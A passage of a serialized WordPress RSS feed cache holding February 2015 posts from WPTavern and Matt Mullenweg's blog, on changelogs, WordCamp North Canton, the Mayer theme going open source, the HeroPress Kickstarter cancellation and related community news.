People</h3>\n<p>Lacan makes a strong case for prioritizing the creation of a changelog for your open source project:</p>\n<blockquote><p>Why should I care? Because software tools are for people. If you don’t care, why are you contributing to open source?</p></blockquote>\n<p>He hopes that the Keep a CHANGELOG project will help to shape a better CHANGELOG file convention for all open source projects. Discussions and suggestions are welcome in the <a href=\"https://github.com/olivierlacan/keep-a-changelog/issues\" target=\"_blank\">issues queue</a> of the project&#8217;s GitHub repository. Contributors have already logged more than two dozen considerations.</p>\n<p>WordPress.org offers some <a href=\"https://wordpress.org/news/2009/07/improving-your-plugin-changelogs/\" target=\"_blank\">basic tips for improving change logs</a>, but the official plugin directory doesn&#8217;t require developers to maintain a CHANGELOG file. Lacan&#8217;s <a href=\"http://keepachangelog.com/\" target=\"_blank\">Keep a CHANGELOG project</a> is a complementary resource that can help WordPress developers and all open source project managers to write better logs for users and contributors.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 21:45:59 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"WPTavern: Tickets On Sale For WordCamp North Canton, OH, 2015\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39054\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:69:\"http://wptavern.com/tickets-on-sale-for-wordcamp-north-canton-oh-2015\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2149:\"<p>&nbsp;</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/WCNorthCanton2015FeaturedImage.png\" rel=\"prettyphoto[39054]\"><img class=\"aligncenter size-full wp-image-39055\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/WCNorthCanton2015FeaturedImage.png?resize=650%2C314\" alt=\"WordCamp North Canton 2015 Featured Image\" /></a>Tickets are <a title=\"http://northcanton.wordcamp.org/2015/tickets/\" href=\"http://northcanton.wordcamp.org/2015/tickets/\">on sale</a> for the 3rd annual, WordCamp North Canton, OH, May 8th-9th. Tickets are available for Friday and Saturday, Friday only, or Saturday only. <span class=\"tix-ticket-excerpt\">Friday features a full day of learning split between entrepreneur and WordPress sessions. Saturday is a full day of WordPress sessions with breakfast and lunch included in the ticket price. Ticket prices are as follows:</span></p>\n<ul>\n<li>$30 Friday and Saturday</li>\n<li>$20 Friday only</li>\n<li>$20 Saturday only</li>\n</ul>\n<p>The event takes place on the <a title=\"http://www.starkstate.edu/\" href=\"http://www.starkstate.edu/\">Stark State College campus</a> within the business and entrepreneurial center. As I <a title=\"http://wptavern.com/recap-of-wordcamp-north-canton-2014\" href=\"http://wptavern.com/recap-of-wordcamp-north-canton-2014\">mentioned last year</a>, the venue has high-speed internet so WiFi shouldn&#8217;t be a problem. Joe Rozsa, who is helping to organize the event, says lunch will be provided by <a title=\"http://www.solpiepizza.com/\" href=\"http://www.solpiepizza.com/\">SOL Pie Pizza</a>, formerly known as <a title=\"http://ermannospizza.com/\" href=\"http://ermannospizza.com/\">Ermannos Pizza</a>.</p>\n<p>Speakers have yet to be confirmed, but I&#8217;ll be participating on a panel discussion on <a title=\"http://wordpress.tv/2014/02/14/chris-lema-escaping-the-impostor-syndrome/\" href=\"http://wordpress.tv/2014/02/14/chris-lema-escaping-the-impostor-syndrome/\">imposter syndrome</a>. We&#8217;re going to share our experiences battling the syndrome on a daily basis and give advice on how to avoid its influence. Let me know if you plan on attending.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 20:18:43 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"Matt: Jonathan Ive Profile\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44703\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:42:\"http://ma.tt/2015/02/jonathan-ive-profile/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2030:\"<blockquote><p>Jobs’s taste for merciless criticism was notorious; Ive recalled that, years ago, after seeing colleagues crushed, he protested. Jobs replied, “Why would you be vague?,” arguing that ambiguity was a form of selfishness: “You don’t care about how they feel! You’re being vain, you want them to like you.” Ive was furious, but came to agree. “It’s really demeaning to think that, in this deep desire to be liked, you’ve compromised giving clear, unambiguous feedback,” he said. He lamented that there were “so many anecdotes” about Jobs’s acerbity: “His intention, and motivation, wasn’t to be hurtful.”</p></blockquote>\n<p>Your one #longread today should be <a href=\"http://www.newyorker.com/magazine/2015/02/23/shape-things-come\">the New Yorker&#8217;s profile of Jonathan Ive</a> by Ian Parker. This anecdote resonated with me from the time I (poorly) did design for a living, and how much patience and stoicism are part of the job when working with a deciding stakeholder, often known as a client:</p>\n<blockquote><p>Bob Mansfield, a former senior hardware engineer at Apple, who is now semi-retired, recently described the pique that some colleagues felt about Ive’s privileged access. As he put it, “There’s always going to be someone vying for Dad’s attention.” But Mansfield was grateful for Ive’s cool handling of a C.E.O. who was “not the easiest guy to please.” Mansfield’s view was “Jony puts up with a lot, and, as a result of him doing it, people like me don’t have to.”</p></blockquote>\n<p>This also made me giggle.</p>\n<blockquote><p>Brunner is proud of the Beats brand, but it took him time to adjust to a design rhythm set as if for a sneaker company: “Originally, I hated it—‘Let’s do a version in the L.A. Lakers’ colors!’ ” He laughed. “ ‘Great. Purple and yellow. <em>Fantastic</em>.’ ”</p></blockquote>\n<p><a href=\"http://www.newyorker.com/magazine/2015/02/23/shape-things-come\">Check out the entire thing</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 16:01:51 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"Matt: Pollan on Psychedelics\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44682\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://ma.tt/2015/02/pollan-on-psychedelics/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:643:\"<p>To make it a full New Yorker weekend, here&#8217;s a <a href=\"http://longreads.com/\">longread</a> from <a href=\"http://michaelpollan.com/\">Michael Pollan</a>, best known for his book <a href=\"http://michaelpollan.com/books/the-omnivores-dilemma/\">Omnivore&#8217;s Dilemma</a>, on <a href=\"http://www.newyorker.com/magazine/2015/02/09/trip-treatment\">the reopened research on the potential therapeutic uses of psychedelics</a>. While we&#8217;re on Pollan it&#8217;s worth repeating his advice from <a href=\"http://michaelpollan.com/books/food-rules/\">Food Rules</a>, <strong>&#8220;Eat food, not too much, mostly plants.&#8221;</strong></p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 00:54:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:27:\"Matt: Ex Girlfriend Meeting\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44667\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"http://ma.tt/2015/02/ex-girlfriend-meeting/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:350:\"<p>Since it&#8217;s Valentine&#8217;s day, here&#8217;s a little humor from the New Yorker&#8217;s Hallie Cantor: <a href=\"http://www.newyorker.com/humor/daily-shouts/imagine-boyfriends-ex-girlfriends-right-now\">What I Imagine My Boyfriend’s Ex-Girlfriends Are Doing Right Now</a>. (That the character is named Matt is completely coincidental.)</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 14 Feb 2015 18:20:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: Mayer WordPress Theme is Now Open Source on GitHub\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38975\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://wptavern.com/mayer-wordpress-theme-is-now-open-source-on-github\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5274:\"<p>Tom McFarlin released his <a href=\"https://github.com/pressware/mayer\" target=\"_blank\">Mayer WordPress theme on GitHub</a> today. The theme was designed with writers, bloggers, and authors in mind and was previously only <a href=\"https://theme.wordpress.com/themes/mayer/\" target=\"_blank\">available to WordPress.com users for $79</a>.</p>\n<p>Mayer is unique in that it was created to get users writing immediately, without having a bunch settings pages or additional widgets to configure. Content in the post editor is styled to match the front end, so users don&#8217;t need to leave the editor in order to see how it&#8217;s going to look.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/mayer-for-wordpress-1024x819.png\" rel=\"prettyphoto[38975]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/mayer-for-wordpress-1024x819.png?resize=1024%2C819\" alt=\"mayer-for-wordpress-1024x819\" class=\"aligncenter size-full wp-image-39004\" /></a></p>\n<p>Technically, the theme is already open source in terms of its licensing. However, up until this point, it was only distributed commercially via WordPress.com. McFarlin has written <a href=\"https://tommcfarlin.com/open-source-wordpress-themes/\" target=\"_blank\">several</a> <a href=\"https://tommcfarlin.com/mayer-for-wordpress-now-on-github/\" target=\"_blank\">posts</a> about how he came to the decision to make his products freely available on GitHub. He cites collaboration and accountability as the driving factors in his decision:</p>\n<p>&#8220;The advantage to this means that all of the work that the team and I have backlogged for this project (and for future projects) is publicly visible if for no other reason than for accountability,&#8221; he said. &#8220;Ideally though, we’d be able to benefit from the open source community that comes in the form of code reviews, pull requests, or just general conversations to help make the core product better.&#8221;</p>\n<h3>Free Products ≠ Free Support</h3>\n<p>Any theme or plugin author who decides to distribute a product for free will inevitably find the burden of support knocking at the door. It&#8217;s important to specify how much support, if any, is included for users who are receiving a product for free.</p>\n<p>&#8220;If the code itself falls under an open source license, then I’m willing to make the code freely available,&#8221; McFarlin said. <strong>&#8220;This does not mean that I’m willing to support the code base for those who haven’t paid, but that leads into an entirely different discussion.&#8221;</strong></p>\n<p>McFarlin will continue to sell the Mayer theme through his <a href=\"http://shop.pressware.co/mayer/\" target=\"_blank\">Pressware shop</a>. The $99/year price tag offers users professional support for a year.</p>\n<p>&#8220;To be clear, I’m not attempting yet-another-way to monetize or popularize a theme in hopes of making money,&#8221; McFarlin said. &#8220;The short of it is that the theme will sell given the right marketplace. If someone wants to freely use the theme, that’s fine – why not? After all, it may result in some pull requests or other issues that will improve the core theme.&#8221;</p>\n<p>Based on his experience navigating user expectations from open source software, McFarlin believes that there is no escaping the issue of support.</p>\n<p>&#8220;<span class=\"pullquote alignleft\">I think that if you’re in the business of WordPress products (versus services), you’re in the support business whether you intend to be or not.</span> Everything that you release – regardless of where the transaction actually happens – is going to yield support from some of the customers,&#8221; he said.</p>\n<p>&#8220;In order to gain access to said support, the transaction just moves back one step from after accessing the source code rather than before accessing the source code.&#8221;</p>\n<p>This model is almost entirely the opposite of the larger theme marketplaces, such as Themeforest, where the customer has no option to preview the code or have a developer preview the code before purchasing the product. It&#8217;s essentially a blind purchase in hopes that you won&#8217;t have to ask for too much support.</p>\n<p>McFarlin is banking on the fact that users who need professional support will be willing to pay for it. <a href=\"http://themehybrid.com/\" target=\"_blank\">Theme Hybrid</a> is one notable shop that has pioneered this model for years, offering all of its open source products for free and charging for paid support. WordPress.com does something similar, with many of its free themes mirrored on WordPress.org. Pressware is moving in a similar direction and will be creating a products division to further experiment with the model. McFarlin plans to put more work up on GitHub in the future and will continue to write about his experience.</p>\n<p>The vast majority of WordPress theme developers have not experimented with this distribution model. For the most part, theme shops sell their products and free versions, if offered, are only available with a limited set of features. McFarlin hopes to prove that in an open source marketplace, a business can successfully sell support for a product that it&#8217;s already giving away for free.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 23:56:30 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: Excellent Primer on the WordPress REST API Project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39010\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://wptavern.com/excellent-primer-on-the-wordpress-rest-api-project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1981:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WordPressRestAPIPrimerFeaturedImage.png\" rel=\"prettyphoto[39010]\"><img class=\"size-full wp-image-39017\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WordPressRestAPIPrimerFeaturedImage.png?resize=655%2C327\" alt=\"Rest API Primer Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/22280677@N07/3349296482\">The Poor Man&#8217;s Racehorse?</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-nd/2.0/\">(license)</a>\n<p>In the past two years, there&#8217;s been a lot of discussion surrounding the <a title=\"https://github.com/WP-API/WP-API\" href=\"https://github.com/WP-API/WP-API\">WordPress REST API project</a>. If you&#8217;re not familiar with it, Brian Krogsgard <a title=\"https://poststatus.com/wordpress-json-rest-api/\" href=\"https://poststatus.com/wordpress-json-rest-api/\">published a great article</a> that explains what it is, how to get involved, and the possibilities it opens up to developers. Krogsgard believes the REST API is &#8220;the most exciting project for the platform since custom post types were introduced in WordPress 2.9 and 3.0.&#8221;</p>\n<p>While the article does a good job explaining what the API is, I find it to be developer heavy for my understanding. I think it&#8217;s a project that I won&#8217;t truly understand how great it is until I use products built with it.</p>\n<p>For additional information, read our <a title=\"http://wptavern.com/ryan-mccue-on-creating-the-json-rest-api-for-wordpress\" href=\"http://wptavern.com/ryan-mccue-on-creating-the-json-rest-api-for-wordpress\">interview from 2013 with Ryan McCue</a>, project lead for the WordPress REST API. In the interview, McCue explains why the API is such a big deal and lists a few practical use cases. There&#8217;s also a great presentation from WordCamp San Francisco 2014 by Sam Hotchkiss, that explains how APIs like the REST API are changing the internet.</p>\n<p></p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 22:46:01 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:10;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"WPTavern: HeroPress Fails to Attract Backers, Cancels Kickstarter Campaign Ahead of Deadline\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38963\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:101:\"http://wptavern.com/heropress-fails-to-attract-backers-cancels-kickstarter-campaign-ahead-of-deadline\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2467:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/heropress-funding-canceled.jpg\" rel=\"prettyphoto[38963]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/heropress-funding-canceled.jpg?resize=1008%2C392\" alt=\"heropress-funding-canceled\" class=\"aligncenter size-full wp-image-38973\" /></a></p>\n<p>Topher DeRosia, creator of <a href=\"http://wptavern.com/heropress-launches-kickstarter-campaign-to-highlight-wordpress-developers\" target=\"_blank\">HeroPress</a>, <a href=\"http://heropress.com/cancelling-kickstarter-1/\" target=\"_blank\">announced</a> today that he is canceling the project&#8217;s Kickstarter campaign. During the past few weeks, the project attracted 33 backers who pledged $21,855 of the $60,000 AUD goal. When it became clear that the fundraiser was hopelessly behind on reaching its goal, DeRosia canceled the funding three days ahead of its deadline.</p>\n<blockquote><p>The Kickstarter contributors were great. The verbal and public support of people were wonderful.  And lastly the naysayers were welcome and useful.  With very few exceptions our detractors enhanced what we were doing, and I appreciate it.</p></blockquote>\n<p>HeroPress encountered no small amount of resistance from those who either didn&#8217;t support the concept or didn&#8217;t appreciate the approach. The project&#8217;s mission was to “develop the WordPress heroes of the world by sharing the accumulated wisdom of the community.” HeroPress&#8217; communication strategy failed to communicate the mission of the project and struggled to identify practical goals, apart from creating videos to inspire community members.</p>\n<p>DeRosia attempted to further clarify the mission of the project through <a href=\"https://www.kickstarter.com/projects/heropress/heropress-developing-the-wordpress-heroes-of-the-w/posts\" target=\"_blank\">short interviews with potential speakers</a> and supporters. Unfortunately, the video updates didn&#8217;t adequately represent the quality of videos that the HeroPress creator hoped to deliver on his $60,000 AUD budget for the project.</p>\n<p>&#8220;Our plan at this point is to huddle and make a new plan and give it another shot,&#8221; DeRosia said. &#8220;We’ve learned an enormous amount about our audience, their needs, and our capabilities.&#8221; He plans to continue HeroPress with a new, more cost-effective approach that will better address the needs the project was created to solve.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 20:19:23 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:11;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:49:\"WPTavern: DevPress Retires Its Best Selling Theme\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38968\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:59:\"http://wptavern.com/devpress-retires-its-best-selling-theme\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4439:\"<p>Devin Price, who owns and operates the WordPress commercial theme shop <a title=\"https://devpress.com/\" href=\"https://devpress.com/\">DevPress</a>, <a title=\"https://devpress.com/zelda-released-zenith-retired/\" href=\"https://devpress.com/zelda-released-zenith-retired/\">announced</a> that he is retiring his best selling theme, <a title=\"https://devpress.com/demo/zenith\" href=\"https://devpress.com/demo/zenith\">Zenith</a>. I asked Price why he&#8217;s retiring his best product.</p>\n<p>&#8220;Retirement may not be the best term. It&#8217;s more like introducing the new year&#8217;s model and stopping production on the previous one. The designs match pretty close, but there were a lot of under the hood updates I wanted to do that would have broken child themes and created compatibility issues for existing customers.&#8221;</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/DevPressZeldaTheme.png\" rel=\"prettyphoto[38968]\"><img class=\"size-full wp-image-38970\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/DevPressZeldaTheme.png?resize=880%2C660\" alt=\"Zelda Replaces Zenith\" /></a>Zelda Replaces Zenith\n<p>The HTML markup in Zelda is almost entirely rewritten. &#8220;If I was a customer who had spent hours making customizations through a child theme, I would be sorely disappointed when I 